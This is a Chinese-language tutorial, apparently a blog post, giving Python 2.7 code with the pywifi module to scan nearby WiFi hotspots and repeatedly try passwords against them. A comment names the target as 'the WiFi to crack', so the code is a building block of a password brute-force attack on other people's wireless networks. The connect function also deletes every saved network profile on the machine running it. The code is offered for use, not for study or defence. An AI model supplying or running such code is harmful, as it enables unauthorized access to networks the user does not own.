准备:
1.python2.7的环境
2.pywifi的模块
思路:
1.获取电脑的无线网卡设备 iface
2.通过无线网卡设备获取附近的wifi列表 list
3.根据传入的热点名称和密码创建连接wifi的钥匙钥匙
5.无线网卡使用钥匙连接指定的wifi
根据步骤附上代码:
1.获取电脑的无线网卡设备 iface:
#获取电脑的无线网卡设备
def get_iface():
#实例化一个pywifi对象
wifi = pywifi.PyWiFi()
#选择定一个网卡并赋值于iface,电脑可能不止一个无线网卡,这里我们获取第一个即可
return wifi.interfaces()[0]
2.通过无线网卡设备获取附近的wifi列表 list
#获取附近热点列表
def get_wifi_list(iface):
#通过获取的无线网卡进行扫描附近的wifi热点
iface.scan()
#在若干秒后获取扫描结果
return iface.scan_results()
3.根据传入的热点名称和密码创建连接wifi的钥匙钥匙
#创建钥匙
def create_key(name,password):
key = pywifi.Profile() #创建wifi链接钥匙
key.ssid =name #要破解的wifi
key.auth = const.AUTH_ALG_OPEN #网卡的开放,
key.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
key.cipher = const.CIPHER_TYPE_CCMP #加密单元
key.key = password #密码
return key
5.无线网卡使用钥匙连接指定的wifi
#无线网卡设备使用钥匙进行热点连接
def go_link(iface,key,wifi):
iface.remove_all_network_profiles() #删除所有的wifi文件
tmp_profile = iface.add_network_profile(key)#设定新的链接文件
iface.connect(tmp_profile)#链接
time.sleep(3)#等待3秒,因为连接需要时间
if iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
iface.disconnect() #断开
time.sleep(1)
return isOK